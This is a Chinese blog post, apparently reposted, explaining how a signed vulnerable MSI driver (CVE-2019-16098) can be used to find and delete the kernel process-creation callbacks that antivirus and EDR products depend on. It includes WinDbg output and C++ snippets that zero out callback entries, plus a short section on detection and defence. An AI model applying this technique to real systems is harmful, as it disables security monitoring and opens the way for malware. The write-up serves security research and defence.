当前位置: 首页 > news >正文

使用驱动移除内核回调,

https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

原创 大蓝 RJ45实验室 

使用签名驱动移除内核回调-安全KER - 安全资讯平台

介绍

创建该PoC的目的是了解驱动漏洞利用程序的强大功能,以及EDR如何使用内核回调以防止恶意软件的攻击。

在代码中会用到一个Barakat发现并公开了的驱动程序漏洞,并将其分配为CVE-2019-16098。它是一个经过签名的MSI驱动程序,可以读取和写入完整的内核内存,事实证明这对攻击者极为有用,并且可以对整个系统造成危害。PoC可以以低特权用户身份获取SYSTEM CMD的功能。

而引起我对CVE-2019-16098的注意,也是因为这篇博文,该博文使用了该漏洞从LSASS进程中删除了PPL( Protected Process Light)保护。

除了上述文章外介绍的删除PPL外,我们还需要枚举系统回调。这里还有一篇SpectreOps Matt Hands的文章深入探讨了Mimikatz的驱动程序Mimidrv。通过这篇文章,可以对枚举回调有了更深的理解。

我还可以推荐克里斯托弗·韦拉(Christopher Vella)在CrikeyCon视频(需要翻墙)的“反向和旁路EDR”,它很好地说明了回调例程,并提供了有关EDR内部工作方式的概述。

驱动和内核内存

大多数阅读这篇文章的人可能已经知道,Windows中的内存空间主要分为Userland内存和Kernel内存。当用户创建一个进程时,内核将管理该进程的虚拟内存空间,从而使其只能访问自己的虚拟地址空间,该地址仅对该进程可用。使用内核内存,情况有所不同。系统上的每个驱动程序都没有相互隔离的地址空间-它们是共享内存的。MSDN这样说:

所有在内核模式下运行的代码共享一个虚拟地址空间。这意味着内核模式驱动程序不会与其他驱动程序以及操作系统本身隔离。如果内核模式驱动程序意外地写入了错误的虚拟地址,则可能会破坏属于操作系统或其他驱动程序的数据。如果内核模式驱动程序崩溃,则整个操作系统崩溃。

当然,这会给这些驱动程序的开发人员以及防止加载任何驱动程序的操作系统造成很大的负担。因此,Microsoft对可以在系统上加载哪些驱动程序进行了严格限制。首先,加载驱动程序的用户需要具有权限-SELoadDriverPrivilege。默认情况下,这仅授予管理员,这是有充分理由的。就像SeDebugPrivilege一样,不应轻易授予此特权。这里有一篇Tarlogic的文章介绍了如何通过这些权限以在系统上获得更高的权限。

其次,Microsoft从版本1607开始,所有Windows 10版本的驱动程序会被要求签名。这意味着任何启用了安全启动的最新工作站或服务器都不会加载未签名或签名无效的驱动程序。问题解决了吧?

不幸的是,软件是由人编写的,并且人会犯错误。签名驱动程序也是如此。即使要求在加载驱动程序之前对其进行签名,攻击者也可以找到一个已签名的驱动程序,且该驱动存在允许任意读取/写入内核内存漏洞。Micro-Star MSI Afterburner 4.6.2.15658驱动程序恰恰具有这些漏洞。

还有许多其他已签名的驱动程序可供使用,一些游戏黑客论坛收集了这些驱动程序和存在的漏洞的列表。由于目前尚无停止有效签名驱动的方法,因此在相当长的一段时间内,加载并且利用这些存在漏洞的签名驱动程序似乎是一种有效的技术。

回调例程

当Microsoft在2005年推出Kernel Patch Protection(称为PatchGuard)时,它严重限制了第三方Antivirus供应商使用Kernel Hook来检测和防止系统上的恶意软件的选择。从那时起,这些供应商不得不更多地依赖于内核回调函数系统来通知事件。有很多已记录和未记录的回调函数。我们最感兴趣的函数是:

  • PsSetLoadImageNotifyRoutine

  • PsSetCreateThreadNotifyRoutine

  • PsSetCreateProcessNotifyRoutine

  • CmRegisterCallbackEx

  • ObRegisterCallbacks

除了用于注册表回调的CmRegisterCallbackEx和用于对象创建回调的ObRegisterCallbacks之外,其他都是可以通过函数名字理解函数的功能。

在本文中,我将重点介绍进程创建回调例程-PsSetCreateProcessNotifyRoutine。

找到进程回调函数

简而言之,驱动程序可以注册一个在系统上每次创建新进程时都会调用的回调函数。这些函数被注册并存储在称为PspCreateProcessNotifyRoutine的数组中,该数组最多包含64个回调函数。Matt Hand使用Windbg逐步说明了如何根据Mimidrv源代码为每个已注册的回调函数查看此数组以及如何确定每个回调函数将其解析为哪个驱动程序。

概括来说,这些步骤是:

1.利用字节匹配的方式在PsSetCreateProcessNotifyRoutine和IoCreateDriver的地址之间搜索
2.这些字节在未文档化的PspSetCreateProcessNotifyRoutine的函数开头(请注意名称中的额外“ p”)。
3.在此未文档化的函数中,我们看到对目标数组的引用:PspCreateProcessNotifyRoutine。
在Windbg中,它看起来像这样:

lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418      mov     qword ptr [rsp+18h],rsi
fffff802`235537df 57              push    rdi
fffff802`235537e0 4154            push    r12
fffff802`235537e2 4155            push    r13
fffff802`235537e4 4156            push    r14
fffff802`235537e6 4157            push    r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20        sub     rsp,20h
fffff802`235537ec 8bf2            mov     esi,edx
fffff802`235537ee 8bda            mov     ebx,edx
fffff802`235537f0 83e602          and     esi,2
fffff802`235537f3 4c8bf1          mov     r14,rcx
fffff802`235537f6 f6c201          test    dl,1
fffff802`235537f9 0f85e7f80b00    jne     nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6            test    esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000      mov     edx,20h
fffff802`2355380c e8df52a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0            test    eax,eax
fffff802`23553813 0f8490f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3          mov     rdx,rbx
fffff802`2355381c 498bce          mov     rcx,r14
fffff802`2355381f e8a4000000      call    nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8          mov     rdi,rax
fffff802`23553827 4885c0          test    rax,rax
fffff802`2355382a 0f8483f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db            xor     ebx,ebx
fffff802`23553832 4c8d2d6726dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea     rcx,[rbx*8]
fffff802`23553841 4533c0          xor     r8d,r8d
fffff802`23553844 4903cd          add     rcx,r13

我遇到了一些奇怪的技术问题,这些问题很可能是由于我通常在编码方面的能力不足,所以我采取了更快捷的方法:我在Windows 10版本1909上计算了导出函数PsSetCreateProcessNotifyRoutine的偏移量,并且在两台机器上测试还是比较稳定的。但因为Windows不同版本之间的偏移似乎有所变化,我将把系统1909到2004其版本间进行更新,直到可以使按照字节来进行匹配,直到正确为止。

找到进程创建回调例程指针的数组后,它们所指向的内存地址可以按以下方式计算,如Matt所述:

1.删除指针地址的最后4位
2.跳过结构的前8个字节

结果地址是每当创建进程时将调用的地址。使用该地址,我们可以准确地计算出该部分内存中加载了哪个驱动程序,并查看在我们的进程创建中和哪个驱动程序关联。

如果要枚举并删除现有的回调,则需要在程序中复制这些步骤。我将假定易受攻击的驱动程序已经加载,并且我们具有可靠的内存读取和写入功能。

我们首先使用EnumDeviceDrivers()来检索内核基地址。可以用Medium完整性进程用于检索内核基址,因为这通常是要返回的第一个地址。尽管不是100%可靠,但是到目前为止我还没有遇到任何问题。

DWORD64 Findkrnlbase() {DWORD cbNeeded = 0;LPVOID drivers[1024];if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {return (DWORD64)drivers[0];}return NULL;

了解了内核基础之后,我们现在可以使用LoadLibrary()加载ntoskrnl.exe并使用GetProcAddress()查找某些导出函数的地址。我们将从已加载的内核库(ntoskrnl.exe)计算这些函数的偏移量,并根据内存中的当前当前内核基址来计算这些函数在内存中的当前内存地址。这个想法和代码基于RedCursor的PPLKiller代码:

const auto NtoskrnlBaseAddress = Findkrnlbase();HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;

现在让我们计算PspCreateProcessNotifyRoutine的回调数组的在Windows 1909系统上的偏移量。

lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0  ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0  ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0  ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0  ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0  ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0  ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00  00000000`00000000 00000000`00000000
fffff802`23305f10  00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0  d233c28a`28ec8348

在此版本的Windows中,回调数组似乎位于PsSetCreateProcessNotifyRoutine + 0x24D810中。

现在,让我们使用MSI驱动程序和该驱动程序利用程序的作者提供的内存读取功能,来检索和列出这些回调例程。我们还添加了功能以指定要删除的回调函数:

const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));if (callback != NULL) {//only print actual callbackscallback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);FindDriver(cbFunction);if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);}}}

FindDriver函数需要做更多的工作,并且可能是整个代码库中最差的代码,但是它可以工作……我们基本上再次使用EnumDeviceDrivers,遍历驱动程序地址,存储比回调函数地址低的地址,然后找到最小的地址,再找到区别最小的那段。是的,我知道…我不会在这里列出来,如果您想了解更多,可以随时在代码库中查看它。

太好了-现在我们已经实现了以下目标:

1.我们在内存中找到数组
2.我们可以列出将被通知的函数地址
3.我们可以确切地看到这些功能存在于哪些驱动程序中
4.我们可以删除特定的回调
是时候测试一下了!

现在,我知道Avast并不是真正的EDR,但是它使用内核驱动程序并注册进程通知回调,因此非常适合我们的演示。

在此设置中,我使用的是Win1909 x64(操作系统内部版本18363.959)。使用Windbg,我的内核回调如下所示:

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0  ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0  ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0  ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0  ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0  ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0  ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00  00000000`00000000 00000000`00000000
fffff800`1dd13f10  00000000`00000000 00000000`00000000

谷歌搜索向我们显示aswArPot.sys,aswSP.sys和aswbuniv.sys是Avast驱动程序,因此我们现在至少知道对于进程通知,这些驱动程序可能阻止了我们的恶意程序。

监测和防御

就检测和预防而言,我认为蓝队会容易一些,但对于EDR来说可能并非如此。对于EDR供应商而言,难以跟踪到每一个受到攻击的签名驱动进行拉黑,并且无法解决0day漏洞的攻击。但尽管如此也应该采取一些防护措施来应对这一类攻击。

对于蓝队,监视服务创建和PspCreateProcessNotifyRoutine:特权的使用将会给你更多防范此类攻击的手段。其他一些建议是,不应该经常安装新的驱动,最好仅更新和维护,以及通过特权帐户安装驱动程序。从管理帐户进一步限制此特权也可能是一条值得探索的途径,该特权保留给专用的软件/硬件维护帐户,该帐户在不使用时会受到严格监控并被禁用。

http://www.dtcms.com/a/318804.html

相关文章:

  • golang开源库之Syncthing
  • Unity URP渲染管线动态修改材质球状态
  • 基于 HT 引擎实现 3D 智慧物流转运中心一体化管控系统
  • 【CS创世SD NAND征文】小型夜灯为何需要存储芯片?从基础照明到智能存储的升级密码
  • 生成式AI时代,Data+AI下一代数智平台建设指南
  • EP04:【DL 第二弹】张量的线性代数运算
  • 内网穿透原理和部署教程
  • 京东关键字搜索商品列表接口开发实战:从参数优化到分布式调用
  • localforage的数据仓库、实例、storeName和name的概念和区别
  • VBA之Word应用第四章第一节:段落集合Paragraphs对象(一)
  • mysql全屏终端全量、部分备份、恢复脚本
  • 累加和校验原理与FPGA实现
  • 躺平发育小游戏微信抖音流量主小程序开源
  • 自建纯竞拍系统小程序需准备的事项
  • uniapp/uniappx实现图片或视频文件选择时同步告知权限申请目的解决华为等应用市场上架审核问题
  • TSMaster-C小程序使用
  • uni-app X能成为下一个Flutter吗?
  • Dify 从入门到精通(第 20/100 篇):Dify 的自动化测试与 CI/CD
  • MyBatis-Plus Service 接口:如何在 MyBatis-Plus 中实现业务逻辑层??
  • 阿里云部署若依后,浏览器能正常访问,但是apifox和小程序访问后报错链接被重置
  • [失败记录] 使用HBuilderX创建的uniapp vue3项目添加tailwindcss3的完整过程
  • [无需 Mac] 使用 GitHub Actions 构建 iOS 应用
  • vue3 el-select 加载内容后 触发事件
  • 「耘•学社」耘少年第五期学能突破导师制领袖特训营,圆满落幕
  • C++与SparkAI实战:高效应用案例
  • Android-Kotlin基础(Jetpack②-Data Binding)
  • 国产化Excel处理组件Spire.XLS教程:使用 C# 将 DataTable 导出为 Excel 文件
  • 嵌入式C语言编程:策略模式、状态模式和状态机的应用
  • 东莞立晟精密硅胶科技有限公司将携重磅产品亮相 AUTO TECH China 2025 广州国际汽车技术展
  • 计算机网络1-4:计算机网络的定义和分类